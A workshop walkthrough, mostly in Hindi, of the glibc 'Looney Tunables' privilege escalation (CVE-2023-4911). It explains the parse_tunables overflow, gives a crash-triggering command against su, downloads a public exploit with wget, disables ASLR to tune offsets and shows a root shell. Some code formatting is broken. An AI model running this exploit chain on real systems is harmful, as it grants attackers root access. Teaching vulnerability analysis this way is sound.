
Looney Tunables Local privilege escalation (CVE-2023-4911) workshop
Looney Tunables Local privilege escalation (CVE-2023-4911) workshop (for educational purposes only)
कंप्यूटिंग में, एक डायनामिक लिंकर ऑपरेटिंग सिस्टम का वह हिस्सा है जो एक्ज़ीक्यूटेबल के चलने पर उसके लिए आवश्यक शेर्ड लाइब्रेरीज़ को लोड और लिंक करता है, लाइब्रेरीज़ की सामग्री को स्थायी स्टोरेज से RAM में कॉपी करके, जंप टेबल भरकर और पॉइंटर्स को रीलोकेट करके।
उदाहरण के लिए, हमारे पास एक प्रोग्राम है जो md5 हैश की गणना करने के लिए openssl लाइब्रेरी का उपयोग करता है:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>
ld.so बाइनरी को पार्स करता है और <openssl/md5.h> से संबंधित लाइब्रेरी खोजने का प्रयास करता है।```
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
जैसा कि हम देख सकते हैं, यह आवश्यक क्रिप्टो लाइब्रेरी को /lib/x86_64-linux-gnu/libcrypto.so.3 पर ढूंढता है। प्रोग्राम स्टार्टअप के दौरान, यह इस लाइब्रेरी के कोड को प्रोसेस RAM में डालता है और इस लाइब्रेरी के सभी संदर्भों को लिंक करता है।
जब कोई प्रोग्राम प्रारंभ किया जाता है, यह लोडर सबसे पहले प्रोग्राम की जांच करता है कि उसे किन साझा लाइब्रेरियों की आवश्यकता है। फिर यह इन लाइब्रेरियों की खोज करता है, उन्हें मेमोरी में लोड करता है, और उन्हें रनटाइम पर एक्ज़ीक्यूटेबल से लिंक करता है। इस प्रक्रिया में, डायनेमिक लोडर प्रतीक संदर्भों, जैसे फ़ंक्शन और वेरिएबल संदर्भों, को हल करता है, यह सुनिश्चित करता है कि प्रोग्राम के निष्पादन के लिए सब कुछ सेट है। इसकी भूमिका को देखते हुए, डायनेमिक लोडर अत्यधिक सुरक्षा-संवेदनशील है, क्योंकि जब कोई स्थानीय उपयोगकर्ता set-user-ID या set-group-ID प्रोग्राम चलाता है तो इसका कोड उन्नत विशेषाधिकारों के साथ चलता है।
Tunables, GNU C Library की एक सुविधा है जो एप्लिकेशन लेखकों और वितरण अनुरक्षकों को अपने कार्यभार के अनुरूप रनटाइम लाइब्रेरी व्यवहार को बदलने की अनुमति देता है। इन्हें स्विचों के एक सेट के रूप में कार्यान्वित किया गया है जिन्हें विभिन्न तरीकों से संशोधित किया जा सकता है। ऐसा करने की वर्तमान डिफ़ॉल्ट विधि GLIBC_TUNABLES पर्यावरण चर के माध्यम से है, जिसमें इसे colon-पृथक name=value जोड़े के एक स्ट्रिंग पर सेट किया जाता है। उदाहरण के लिए, निम्नलिखित उदाहरण malloc जाँच को सक्षम करता है और malloc ट्रिम थ्रेशोल्ड को 128 बाइट्स पर सेट करता है:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES
डायनामिक लोडर को --list-tunables पास करके सभी ट्यूनेबल्स को न्यूनतम और अधिकतम मानों के साथ प्रिंट करना:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
अपने निष्पादन की शुरुआत में, ld.so पर्यावरण (पंक्ति 279) में से गुज़रने के लिए __tunables_init() को कॉल करता है, GLIBC_TUNABLES चर (पंक्ति 282) की खोज करता है; प्रत्येक GLIBC_TUNABLES के लिए जो वह पाता है, वह इस चर की एक प्रति बनाता है (पंक्ति 284), इस प्रति को संसाधित और स्वच्छ करने के लिए parse_tunables() को कॉल करता है (पंक्ति 286), और अंततः मूल GLIBC_TUNABLES को इस स्वच्छ प्रति से बदल देता है (पंक्ति 288):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }
The first argument of parse_tunables() (tunestr) points to the soon-to-be-sanitized copy of GLIBC_TUNABLES, while the second argument (valstring) points to the original GLIBC_TUNABLES environment variable (in the stack). To sanitize the copy of GLIBC_TUNABLES (which should be of the form "tunable1=`aaa:tunable2=bbb"`), parse_tunables() removes all dangerous tunables (the SXID_ERASE tunables) from tunestr, but keeps SXID_IGNORE and NONE tunables (at lines 221-235):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }
दुर्भाग्य से, यदि एक GLIBC_TUNABLES पर्यावरण चर फॉर्म "tunable1=tunable2=AAA" का है (जहाँ "tunable1" और "tunable2" SXID_IGNORE ट्यूनेबल्स हैं, उदाहरण के लिए "glibc.malloc.mxfast"), तो:
parse_tunables() में "while (true)" के पहली पुनरावृत्ति के दौरान, पूरा "tunable1=tunable2=AAA" जगह-जगह tunestr में कॉपी हो जाता है (पंक्तियाँ 221-235 पर), इस प्रकार tunestr भर जाता है;
पंक्तियाँ 247-248 पर, p बढ़ाया नहीं जाता है (p[len] '\0' है क्योंकि पंक्तियाँ 203-204 पर कोई ':' नहीं मिला) और इसलिए p अभी भी "tunable1" के मान, अर्थात "tunable2=AAA" पर इंगित करता है;
parse_tunables() में "while (true)" के दूसरी पुनरावृत्ति के दौरान, "tunable2=AAA" (जैसे कि यह दूसरा ट्यूनेबल हो) tunestr (जो पहले से भरा हुआ है) में जोड़ दिया जाता है, इस प्रकार tunestr ओवरफ्लो हो जाता है।
कमांड:```bash
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help
Segmentation fault (core dumped)
पेलोड:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
यह भेद्यता एक सीधा-सादा बफर ओवरफ्लो है, लेकिन मनमाना कोड निष्पादन प्राप्त करने के लिए हमें क्या ओवरराइट करना चाहिए? जिस बफर को हम ओवरफ्लो करते हैं वह पंक्ति 284 पर tunables_strdup() द्वारा आवंटित किया जाता है, जो strdup() का पुनः कार्यान्वयन है जो glibc के malloc() के बजाय ld.so के __minimal_malloc() का उपयोग करता है (वास्तव में, glibc का malloc() अभी तक प्रारंभ नहीं हुआ है)। यह __minimal_malloc() कार्यान्वयन कर्नेल से अधिक मेमोरी प्राप्त करने के लिए बस mmap() को कॉल करता है।
आइए इस कोड पर एक नज़र डालें:```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */
##### Overwriting pointers of the soon-to-be-allocated link_map structure
>ld.so इस link_map संरचना के लिए मेमोरी calloc() के साथ आवंटित करता है, और इसलिए इसके विभिन्न सदस्यों को शून्य पर स्पष्ट रूप से प्रारंभ नहीं करता है; यह एक उचित अनुकूलन है। जैसा कि पहले उल्लेख किया गया है, यहाँ calloc() glibc का calloc() नहीं है बल्कि ld.so का __minimal_calloc() है, जो __minimal_malloc() को कॉल करता है *बिना* वापस आई मेमोरी को शून्य पर स्पष्ट रूप से प्रारंभ किए; यह भी एक उचित अनुकूलन है, क्योंकि सभी व्यावहारिक उद्देश्यों के लिए __minimal_malloc() हमेशा mmap()ed मेमोरी का एक साफ हिस्सा लौटाता है, जिसे कर्नेल द्वारा शून्य पर प्रारंभ किए जाने की गारंटी है।
>
> दुर्भाग्य से, parse_tunables() में बफर ओवरफ्लो हमें साफ mmap()ed मेमोरी को गैर-शून्य बाइट्स से ओवरराइट करने की अनुमति देता है, जिससे जल्द ही आवंटित किए जाने वाले link_map संरचना के पॉइंटर्स को गैर-NULL मानों से ओवरराइट किया जा सकता है। यह हमें ld.so के तर्क को पूरी तरह से तोड़ने की अनुमति देता है, जो मानता है कि ये पॉइंटर्स NULL हैं।
#### ओवरफ्लो विचार
> हमने महसूस किया कि link_map संरचना में कई और पॉइंटर्स स्पष्ट रूप से NULL पर प्रारंभ नहीं किए जाते हैं; विशेष रूप से, l_info[] पॉइंटर्स की सरणी में Elf64_Dyn संरचनाओं के पॉइंटर्स। इनमें से, `l_info[DT_RPATH]`, "लाइब्रेरी सर्च पथ", तुरंत सामने आया: यदि हम इस पॉइंटर को ओवरराइट करते हैं और नियंत्रित करते हैं कि यह कहाँ और क्या इंगित करता है, तो हम ld.so को हमारे स्वामित्व वाली निर्देशिका पर भरोसा करने के लिए मजबूर कर सकते हैं, और इसलिए इस निर्देशिका से हमारी अपनी libc.so.6 या LD_PRELOAD लाइब्रेरी लोड कर सकते हैं, और मनमाना कोड निष्पादित कर सकते हैं (रूट के रूप में, यदि हम ld.so को SUID-रूट प्रोग्राम के माध्यम से चलाते हैं)।
> ओवरराइट किए गए `l_info[DT_RPATH]` को कहाँ इंगित करना चाहिए? इस प्रश्न का सरल उत्तर है: स्टैक; अधिक सटीक रूप से, स्टैक में हमारे एनवायरनमेंट स्ट्रिंग्स। Linux पर, स्टैक 16GB क्षेत्र में यादृच्छिक किया जाता है, और हमारे एनवायरनमेंट स्ट्रिंग्स अधिकतम 6MB तक घेर सकते हैं (_STK_LIM / 4 * 3, कर्नेल के bprm_stack_limits() में): 16GB / 6MB = 2730 प्रयासों के बाद हमारे पास अपने एनवायरनमेंट स्ट्रिंग्स के पते का अनुमान लगाने का अच्छा मौका है (हमारे एक्सप्लॉइट में, हम हमेशा `l_info[DT_RPATH]` को 0x7ffdfffff010, यादृच्छिक स्टैक क्षेत्र के केंद्र से ओवरराइट करते हैं)। हमारे परीक्षणों में, यह ब्रूट फोर्स Debian पर ~30s, और Ubuntu और Fedora पर ~5m लेता है (उनके स्वचालित क्रैश हैंडलर, Apport और ABRT के कारण; हमने इस मंदी के आसपास काम करने का प्रयास नहीं किया है)।
> ओवरराइट किए गए l_info[DT_RPATH] को क्या इंगित करना चाहिए?
> हमारे एक्सप्लॉइट में, हम बस अपने 6MB एनवायरनमेंट स्ट्रिंग्स को 0xfffffffffffffff8 (-8) से भरते हैं, क्योंकि अधिकांश SUID-रूट प्रोग्रामों के स्ट्रिंग टेबल से -8B के ऑफसेट पर, स्ट्रिंग "\x08" दिखाई देती है: यह ld.so को "\x08" नामक एक सापेक्ष निर्देशिका (हमारे वर्तमान कार्यशील निर्देशिका में) पर भरोसा करने के लिए मजबूर करता है, और इसलिए हमें इस निर्देशिका से अपनी खुद की libc.so.6 या LD_PRELOAD लाइब्रेरी को रूट के रूप में लोड और निष्पादित करने की अनुमति देता है।
Scheme:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### .DYNSTR में ऑफसेट -8 पर "\x08" बाइट:

## PoC LPE:
मैं अपने पुराने kali linux स्नैपशॉट का उपयोग PoC का परीक्षण करने के लिए कर रहा हूँ। आइए जाँचें कि क्या यह असुरक्षित है:```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1] 7995 segmentation fault env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" /usr/bin/s
हमें SIGSEGV मिला, इसलिए हमारा सिस्टम इस CVE LPE के प्रति संवेदनशील है! आइए PoC स्क्रिप्ट डाउनलोड करें और इसका परीक्षण करें:``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
तो, हमारा ld.so build id लक्ष्यों की सूची में नहीं है, चलिए इसे ठीक करते हैं!
ASLR अक्षम करें:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
फिर से जाँच करें:``` [~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
तो, हमारा POC स्क्रिप्ट कुछ उपयोगी ऑफसेट ढूंढता है, चलिए अपने ld.so बिल्ड आईडी और ऑफसेट को स्क्रिप्ट में जोड़ते हैं:

ASLR लौटाएं:```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"
चलिए फिर से PoC script आज़माते हैं:``` [~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami root
uid=0(root)
यह काम करता है!
यह अन्य SUID फ़ाइलों के साथ भी काम करता है:```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>